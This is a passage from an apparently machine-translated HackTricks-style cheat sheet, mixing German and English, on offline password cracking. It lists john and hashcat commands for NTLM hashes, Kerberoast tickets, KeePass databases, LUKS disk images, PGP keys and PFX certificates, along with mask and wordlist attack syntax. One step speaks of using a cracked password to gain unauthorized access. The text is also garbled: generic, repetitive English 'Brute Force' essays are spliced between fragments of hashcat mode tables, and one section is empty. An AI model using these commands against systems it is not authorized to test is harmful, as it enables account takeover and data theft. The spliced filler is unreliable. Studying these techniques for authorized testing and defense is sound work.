john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Lucks Bild

Methode 1

Installiere: https://github.com/glv2/bruteforce-luks

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Methode 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

Eine weitere Luks BF-Anleitung: http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1

Mysql

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

PGP/GPG Privater Schlüssel

gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

Cisco

DPAPI Master Key

Verwenden Sie https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py und dann john

Open Office Pwd Protected Column

Wenn Sie eine xlsx-Datei mit einer Spalte haben, die durch ein Passwort geschützt ist, können Sie es entsperren:

  • Laden Sie es in Google Drive hoch und das Passwort wird automatisch entfernt
  • Um es manuell zu entfernen:
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

PFX-Zertifikate

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Tools

Hash-Beispiele: https://openwall.info/wiki/john/sample-hashes

Hash-Identifier

hash-identifier
> <HASH>

Wortlisten

Wortlisten-Generierungstools

  • kwprocessor: Fortgeschrittener Tastatur-Walk-Generator mit konfigurierbaren Basiszeichen, Tastaturzuordnung und Routen.
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

John-Mutation

Lesen Sie /etc/john/john.conf und konfigurieren Sie es

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

Hashcat Angriffe

  • Wörterbuchangriff (-a 0) mit Regeln

Hashcat wird bereits mit einem Ordner mit Regeln geliefert, aber Sie können hier andere interessante Regeln finden.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
  • Wortlisten-Kombinations-Angriff

Es ist möglich, mit hashcat 2 Wortlisten zu einer zusammenzuführen.
Wenn Liste 1 das Wort "hello" und die zweite 2 Zeilen mit den Wörtern "world" und "earth" enthielt. Werden die Wörter helloworld und helloearth generiert.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
  • Maskenangriff (-a 3)
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
  • Wortliste + Maske (-a 6) / Masken + Wortliste (-a 7) Angriff
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Hashcat-Modi

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Brute Forcing

Introduction

Brute forcing is a common technique used to crack passwords by systematically attempting all possible combinations of letters, numbers, and symbols until the correct one is found. In the context of cracking Linux hashes from the /etc/shadow file, brute forcing involves trying various password combinations to find the one that matches the hashed password stored in the file.

Tools and Resources

There are several tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of generating and testing password combinations against the hashed passwords in the /etc/shadow file.

Methodology

  1. Obtain the Hash: First, you need to obtain the hashed password from the /etc/shadow file on the target Linux system.

  2. Select a Tool: Choose a suitable password cracking tool like John the Ripper or Hashcat to perform the brute force attack.

  3. Configure the Tool: Set up the selected tool to use the appropriate settings for the type of hash and password complexity you are dealing with.

  4. Start Brute Forcing: Initiate the brute force attack using the tool, which will systematically generate and test password combinations until a match is found.

  5. Crack the Password: Once the correct password is identified, you can use it to gain unauthorized access to the target system.

Conclusion

Brute forcing Linux hashes from the /etc/shadow file can be a time-consuming process, especially for complex passwords. However, with the right tools and techniques, it is possible to crack hashed passwords and compromise the security of a Linux system.

500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Brute Force

Introduction

Brute force attacks are a common way to crack passwords. They consist of trying all possible combinations of characters until the correct one is found. This technique can be used to crack Windows hashes by trying different passwords until a match is found.

Tools

There are several tools available for performing brute force attacks on Windows hashes, such as John the Ripper and Hashcat. These tools can be used to automate the process of trying different passwords and are highly effective in cracking passwords.

Methodology

To crack Windows hashes using a brute force attack, you can use a wordlist containing common passwords or generate your own custom wordlist. The tool will then systematically try each password in the list until the correct one is found. This process can be time-consuming but is often successful in cracking passwords.

Conclusion

Brute force attacks are a powerful way to crack passwords, including Windows hashes. By using the right tools and methodologies, hackers can successfully gain access to systems and sensitive information. It is important for organizations to implement strong password policies and security measures to protect against brute force attacks.

3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems

Brute Force

Introduction

Brute force attacks are a common way to crack passwords by systematically trying all possible combinations of characters until the correct one is found. This method is often used to crack common application hashes.

Resources

There are several tools available for conducting brute force attacks, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of trying different combinations of characters to crack hashes.

Methodology

  1. Select a Tool: Choose a suitable tool for the type of hash you are trying to crack.
  2. Generate Wordlist: Create a wordlist with possible passwords to use in the brute force attack.
  3. Configure the Tool: Set up the chosen tool with the hash you want to crack and the wordlist to use.
  4. Run the Attack: Start the brute force attack and let the tool systematically try different combinations until the correct password is found.

Conclusion

Brute force attacks can be effective in cracking common application hashes, but they can be time-consuming depending on the complexity of the password. It is important to use strong, unique passwords to protect against brute force attacks.

900 | MD4                                              | Raw Hash
0 | MD5                                              | Raw Hash
5100 | Half MD5                                         | Raw Hash
100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
1400 | SHA-256                                          | Raw Hash
1700 | SHA-512                                          | Raw Hash
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}